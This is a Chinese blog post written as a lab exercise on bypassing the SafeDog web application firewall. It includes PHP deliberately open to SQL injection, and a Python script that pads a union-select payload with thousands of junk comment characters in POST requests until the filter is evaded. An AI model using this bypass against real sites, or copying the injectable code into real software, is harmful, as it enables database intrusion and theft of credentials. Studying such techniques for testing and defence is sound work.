• bypass安全狗测试学习


    搭建简单的sql注入环境

    在test数据库中创建sqltest表,插入字段数据 

    编写存在注入的php文件

    <?php
    
    $id = $_REQUEST['uid'];
    
    echo "您当前执行的sql语句为:" ;
    echo "select * from sqltest where id=" . $id . "<br/>";
    echo "<hr>";
    
    $mysqli = new mysqli('127.0.0.1','root','root','test'); 
    
    if(mysqli_connect_errno()){
        printf("连接失败:%s<br>",mysqli_connect_error());
        exit();
    }
    $mysqli->set_charset("utf8");
    
    $result = $mysqli->query("select * from sqltest where id=$id");
    //print_r($result->fetch_array(MYSQLI_ASSOC));
    
    while(list($id,$username,$password)=$result->fetch_row()){
        echo "用户ID:" . $id . "<br/>";
        echo "用户名:" . $username . "<br/>";
        echo "用户密码:" . $password . "<br/>";
    }
    
    $result->close();
    $mysqli->close();

    或者老版写法

    <?php
    
    $id = $_REQUEST['uid'];
    
    $conn = @mysql_connect('127.0.0.1','root','root');  //这里使用@符号屏蔽出错信息
    mysql_select_db('test',$conn);
    
    $sql = "select * from sqltest where id=$id";
    $result = mysql_query($sql);
    while($row = mysql_fetch_array($result)){
        echo "用户ID:" . $row['id'] . "<br/>";
        echo "用户名:" . $row['username'] . "<br/>";
        echo "用户密码:" . $row['password'] . "<br/>";
    }
    
    mysql_close($conn);
    echo "<hr>";
    echo "您当前执行的sql语句为:" ;
    echo $sql;
    
    ?>  

    执行看下结果

     

    安装安全狗

    服务器名解决方法来自https://blog.csdn.net/nzjdsds/article/details/93740686

    httpd.exe -k install -n apache2.0
     
     
    如果要删除服务重新来,可以输下面这个,给你留着备用
    sc delete apache2.0

    bypass测试

    可以用0=0和'-'判断字符数字型

    因为对于软waf,如果提交的数据量过多。就会直接扔到后端去处理

    get不能提交过多的数据,所以用post写了个简单的python脚本,通过叠加无用的字符并检测是否绕过waf,我们的payload  1 /*无用的字符*/  union select user(),2

    import requests
    url = "http://192.168.41.129/index.php"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0"
    }
    try:
        for i in range(100,2999):
            st = "/*"+"ABC"*i+"*/ union select user(),2,3"
            data={
                 "uid":"1 %s " %st
                }
            print(i)
            res= requests.post(url,headers=headers,data=data).text
            print(data)
            print(res)
            if res.find("root")!=-1:
                print(i)
                break
    except:
        print('终止执行')  

    我这里在2561时候可以注出数据

     其实可以发现安全狗对于post的过滤不严,对于get的过滤比较严格

    没有绕过的部分,都是返回500。应该是安全狗的post规则中的过滤。

    而get类型中的规则的过滤地方不同。

    可以看出对于post过滤不严,对于get过滤严格。

    我这里测试可以通过2561个ABC绕过,放入burp中尝试

    验证失败

    然后我又加了很多ABC测试发现可以绕过

    绕过成功,这个版本比文章中的版本更高点。仍然可以绕过。

    最好在源码里加上header("Content-type:text/html;charset=utf8");  防止乱码

    学习文章:

    https://bbs.ichunqiu.com/thread-54014-1-1.html

  • 相关阅读:
    Enable SPI 1.0 and 1.1 with device tre overlays on BeagleBone
    [转]使用Beaglebone Black的SPI
    真相:中国版BBB用USB连电脑没有盘符的根本原因分析
    Linux下使用locale命令设置语言环境
    locale 详解
    locale的设定及其LANG、LC_ALL、LANGUAGE环境变量的区别
    嵌入式Qt4.7.1安装详解
    【转】补充说明:关于Beaglebone black上debian无图形界面的问题及QT的窗口示例
    【转】BeagleBone Black USB一线通(3)
    [转]BeagleBone Black USB一线通(2)
  • 原文地址:https://www.cnblogs.com/BOHB-yunying/p/12060983.html
Copyright © 2020-2023  润新知